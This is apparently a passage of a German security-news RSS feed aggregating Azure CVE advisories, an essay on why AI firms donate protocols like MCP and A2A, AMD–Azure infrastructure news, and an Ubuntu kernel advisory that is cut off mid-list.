<ul class="wp-block-list">
<li><strong>Benötigt unser Unternehmen eine EASM- oder eine CAASM-Lösung?</strong> Die Antwort darauf hängt davon ab, ob Sie nach internen oder externen Angreifern suchen – und wie groß der Anteil Ihrer lokalen Infrastruktur ist.</li>



<li><strong>Wie umfangreich – und effektiv – ist das Tool automatisiert?</strong> Erkennt es zuverlässig alle anfälligen Ressoucren, einschließlich digitaler Zertifikate, offengelegter Anmeldedaten und mit dem Netz verbundene Server und Services? Welche Metadaten und weiteren Details liefert die Lösung?  </li>



<li><strong>Wie behebt die Lösung Schwachstellen, wenn sie welche findet?</strong> Läuft das automatisiert ab oder sind manuelle Eingriffe erforderlich?</li>



<li><strong>Unterstützt das Tool Continuous Monitoring?</strong> Und falls ja: Wie werden Veränderungen nachgehalten?</li>



<li><strong>Welche Schwachstellen werden wie mit anderen SOC-Tools geteilt oder integriert?</strong></li>



<li><strong>Gibt es unterschiedliche Dashboards für Management- und andere Zwecke?</strong> Beziehungsweise: Wie lässt sich das Tool auf unterschiedliche Benutzergruppen anpassen?</li>



<li><strong>Wie sieht ihre Preisgestaltung im Detail aus?</strong> Stellen Sie sicher, dass Sie das Preisgefüge des Anbieters Ihrer Wahl wirklich verstehen. In den meisten Fällen sind Sie dabei mit komplexen, nutzungsabhängigen Abrechnungsmodellen konfrontiert.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.csoonline.com/article/574797/9-attack-surface-discovery-and-management-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35252 | Microsoft Azure Storage Movement Client Library unmaintained third party components]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Storage Movement Client Library. It has been classified as critical. Affected by this issue is some unknown functionality. The manipulation leads to use of unmaintained third party components.

This vulnerability is traded as CVE-2024-35252. It is poss...]]></description>
<link>https://tsecurity.de/de/3682481/sicherheitsluecken/cve-2024-35252-microsoft-azure-storage-movement-client-library-unmaintained-third-party-components/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682481/sicherheitsluecken/cve-2024-35252-microsoft-azure-storage-movement-client-library-unmaintained-third-party-components/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:43 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_storage_movement_client_library">Microsoft Azure Storage Movement Client Library</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality. The manipulation leads to use of unmaintained third party components.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2024-35252">CVE-2024-35252</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is suggested to install a patch to address this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35254 | Microsoft Azure Monitor Agent link following (EUVD-2024-35763)]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Monitor Agent. It has been rated as critical. This vulnerability affects unknown code. This manipulation causes link following.

This vulnerability is handled as CVE-2024-35254. It is possible to launch the attack on the local host. There is not any ex...]]></description>
<link>https://tsecurity.de/de/3682479/sicherheitsluecken/cve-2024-35254-microsoft-azure-monitor-agent-link-following-euvd-2024-35763/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682479/sicherheitsluecken/cve-2024-35254-microsoft-azure-monitor-agent-link-following-euvd-2024-35763/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_monitor_agent">Microsoft Azure Monitor Agent</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. This vulnerability affects unknown code. This manipulation causes link following.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2024-35254">CVE-2024-35254</a>. It is possible to launch the attack on the local host. There is not any exploit available.

To fix this issue, it is recommended to deploy a patch.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35253 | Microsoft Azure File Sync link following (EUVD-2024-35762)]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure File Sync. It has been declared as problematic. This affects an unknown part. The manipulation results in link following.

This vulnerability is known as CVE-2024-35253. Attacking locally is a requirement. No exploit is available.

A patch should be ap...]]></description>
<link>https://tsecurity.de/de/3682477/sicherheitsluecken/cve-2024-35253-microsoft-azure-file-sync-link-following-euvd-2024-35762/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682477/sicherheitsluecken/cve-2024-35253-microsoft-azure-file-sync-link-following-euvd-2024-35762/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:38 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_file_sync">Microsoft Azure File Sync</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part. The manipulation results in link following.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2024-35253">CVE-2024-35253</a>. Attacking locally is a requirement. No exploit is available.

A patch should be applied to remediate this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-37325 | Microsoft Azure Science Virtual Machine on Linux information disclosure (EUVD-2024-36986)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Microsoft Azure Science Virtual Machine on Linux. The affected element is an unknown function. Executing a manipulation can lead to information disclosure.

The identification of this vulnerability is CVE-2024-37325. The attack may be launched...]]></description>
<link>https://tsecurity.de/de/3682476/sicherheitsluecken/cve-2024-37325-microsoft-azure-science-virtual-machine-on-linux-information-disclosure-euvd-2024-36986/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682476/sicherheitsluecken/cve-2024-37325-microsoft-azure-science-virtual-machine-on-linux-information-disclosure-euvd-2024-36986/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:36 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_science_virtual_machine">Microsoft Azure Science Virtual Machine</a> on Linux. The affected element is an unknown function. Executing a manipulation can lead to information disclosure.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2024-37325">CVE-2024-37325</a>. The attack may be launched remotely. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-35255 | Microsoft Azure Identity Library race condition (Nessus ID 216962)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Microsoft Azure Identity Library and Microsoft Authentication Library. This vulnerability affects unknown code. Executing a manipulation can lead to race condition.

This vulnerability appears as CVE-2024-35255. The attack require...]]></description>
<link>https://tsecurity.de/de/3682472/sicherheitsluecken/cve-2024-35255-microsoft-azure-identity-library-race-condition-nessus-id-216962/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682472/sicherheitsluecken/cve-2024-35255-microsoft-azure-identity-library-race-condition-nessus-id-216962/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/microsoft:azure_identity_library">Microsoft Azure Identity Library and Microsoft Authentication Library</a>. This vulnerability affects unknown code. Executing a manipulation can lead to race condition.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2024-35255">CVE-2024-35255</a>. The attack requires local access. There is no available exploit.

A patch should be applied to remediate this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft expands Azure AI and HPC infrastructure with AMD]]></title>
<description><![CDATA[The post Microsoft expands Azure AI and HPC infrastructure with AMD appeared first on Source.]]></description>
<link>https://tsecurity.de/de/3681955/ai-nachrichten/microsoft-expands-azure-ai-and-hpc-infrastructure-with-amd/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681955/ai-nachrichten/microsoft-expands-azure-ai-and-hpc-infrastructure-with-amd/</guid>
<pubDate>Mon, 20 Jul 2026 20:34:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The post <a href="https://blogs.microsoft.com/blog/2026/07/20/microsoft-expands-azure-ai-and-hpc-infrastructure-with-amd/">Microsoft expands Azure AI and HPC infrastructure with AMD</a> appeared first on <a href="https://news.microsoft.com/source">Source</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</guid>
<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Is a Platform Property, Not a Pipeline Step]]></title>
<description><![CDATA[A few weeks ago, I disabled key authentication on an Azure storage account we used for Terraform state management. It was one of the key security recommendations in Microsoft Defender for Cloud. It made sense to use RBAC-only permissions, enforce…
Read more →
The post Security Is a Platform Prope...]]></description>
<link>https://tsecurity.de/de/3681670/it-security-nachrichten/security-is-a-platform-property-not-a-pipeline-step/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681670/it-security-nachrichten/security-is-a-platform-property-not-a-pipeline-step/</guid>
<pubDate>Mon, 20 Jul 2026 18:59:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A few weeks ago, I disabled key authentication on an Azure storage account we used for Terraform state management. It was one of the key security recommendations in Microsoft Defender for Cloud. It made sense to use RBAC-only permissions, enforce…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/security-is-a-platform-property-not-a-pipeline-step/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/security-is-a-platform-property-not-a-pipeline-step/">Security Is a Platform Property, Not a Pipeline Step</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia's grip on AI chips weakens as Microsoft turns to AMD and Anthropic may follow]]></title>
<description><![CDATA[Microsoft is expanding Azure's AI infrastructure with AMD's new Helios platform, which is set to challenge Nvidia's GPU systems in the second half of 2026. A public GitHub profile suggests Anthropic is also testing AMD hardware, putting more pressure on Nvidia's pricing power.
The article Nvidia'...]]></description>
<link>https://tsecurity.de/de/3681661/ai-nachrichten/nvidias-grip-on-ai-chips-weakens-as-microsoft-turns-to-amd-and-anthropic-may-follow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681661/ai-nachrichten/nvidias-grip-on-ai-chips-weakens-as-microsoft-turns-to-amd-and-anthropic-may-follow/</guid>
<pubDate>Mon, 20 Jul 2026 18:53:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/amd_logo_wall_blue.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft is expanding Azure's AI infrastructure with AMD's new Helios platform, which is set to challenge Nvidia's GPU systems in the second half of 2026. A public GitHub profile suggests Anthropic is also testing AMD hardware, putting more pressure on Nvidia's pricing power.</p>
<p>The article <a href="https://the-decoder.com/nvidias-grip-on-ai-chips-weakens-as-microsoft-turns-to-amd-and-anthropic-may-follow/">Nvidia's grip on AI chips weakens as Microsoft turns to AMD and Anthropic may follow</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Partnerschaft mit AMD: Microsoft bestückt Azure-Cloud mit Zen 6 und MI455X]]></title>
<description><![CDATA[Die langjährige Partnerschaft zwischen AMD und Microsoft geht weiter. Jetzt wird offiziell verkündet, dass die Cloud-Computing-Plattform Azure künftig mit AMDs Helios Racks bestückt wird. Diese sind mit Prozessoren vom Typ Epyc Venice (Zen 6), GPUs der Serie Instinct MI455X sowie mit Netzwerkchip...]]></description>
<link>https://tsecurity.de/de/3681638/it-nachrichten/partnerschaft-mit-amd-microsoft-bestueckt-azure-cloud-mit-zen-6-und-mi455x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681638/it-nachrichten/partnerschaft-mit-amd-microsoft-bestueckt-azure-cloud-mit-zen-6-und-mi455x/</guid>
<pubDate>Mon, 20 Jul 2026 18:50:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/7/6-81e8394d91914233/article-640x360.19799da8.jpg"><p>Die langjährige Partnerschaft zwischen AMD und Microsoft geht weiter. Jetzt wird offiziell verkündet, dass die Cloud-Computing-Plattform Azure künftig mit AMDs Helios Racks bestückt wird. Diese sind mit Prozessoren vom Typ Epyc Venice (Zen 6), GPUs der Serie Instinct MI455X sowie mit Netzwerkchips der Pensando-Familie versehen.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8569-1: Linux kernel (HWE) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/</guid>
<pubDate>Mon, 20 Jul 2026 18:18:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that the Linux kernel did not properly handle shared page
fragments during socket buffer operations, collectively known as Dirty
Frag. A logic flaw existed in the XFRM ESP-in-TCP subsystem and in the
RxRPC networking subsystem when processing paged fragments. A local
attacker could use this to escalate privileges, or possibly escape a
container. (CVE-2026-43284, CVE-2026-43500, CVE-2026-45998, CVE-2026-46000)

It was discovered that a logic flaw existed in the XFRM ESP-in-TCP
subsystem in the Linux kernel when handling socket buffer fragments. This
flaw is known as Fragnesia. A local attacker could use this to escalate
privileges, or possibly escape a container. (CVE-2026-43503,
CVE-2026-46300)

Qualys discovered that a race condition existed in the ptrace subsystem of
the Linux kernel when privileged processes are exiting. An unprivileged
local attacker could use this issue to expose sensitive information.
(CVE-2026-46333)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contain a memory leak when handling AppArmor notifications. A local
attacker could use this to cause resource exhaustion. (CVE-2026-47326)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contain a NULL pointer dereference when handling AppArmor notifications. A
local attacker could use this to cause a kernel oops. (CVE-2026-47327)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained an invalid free when handling AppArmor notifications. A local
attacker could use this to corrupt kernel memory. (CVE-2026-47328)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained insufficient validation of AppArmor notification responses. A
local attacker could use this to allow crafted responses to be processed.
(CVE-2026-47329)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0 used
an uninitialized variable when handling AppArmor notifications. A local
attacker could use this to cause incorrect caching of data.
(CVE-2026-47330)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained an out-of-bounds (OOB) read when handling AppArmor notifications.
A local attacker could use this to cause information disclosure of kernel
memory. (CVE-2026-47332)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained a out-of-bounds (OOB) read when handling AppArmor notifications.
A local attacker could use this to cause kernel memory corruption and,
theoretically, influence processing of AppArmor policies. (CVE-2026-47333)

Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0
contained incorrect holding of locks when handling AppArmor notifications.
A local attacker could use this to cause a kernel panic or deadlock.
(CVE-2026-47334)

Tristan Madani and Trevor Lawrence have each independently discovered that
Ubuntu Linux kernel 6.8, 6.17 and 7.0 contained a NULL pointer dereference
when handling AppArmor network socket mediation. A local attacker could use
this to cause a kernel oops. (CVE-2026-47337)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - PSP security protocol;
  - ARM64 architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - EDAC drivers;
  - EFI core;
  - FWCTL subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - x86 platform drivers;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - USB Gadget drivers;
  - USB Type-C support driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Netfilter;
  - Network traffic control;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - XFRM subsystem;
  - Integrity Measurement Architecture(IMA) framework;
  - Landlock security;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - QCOM ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
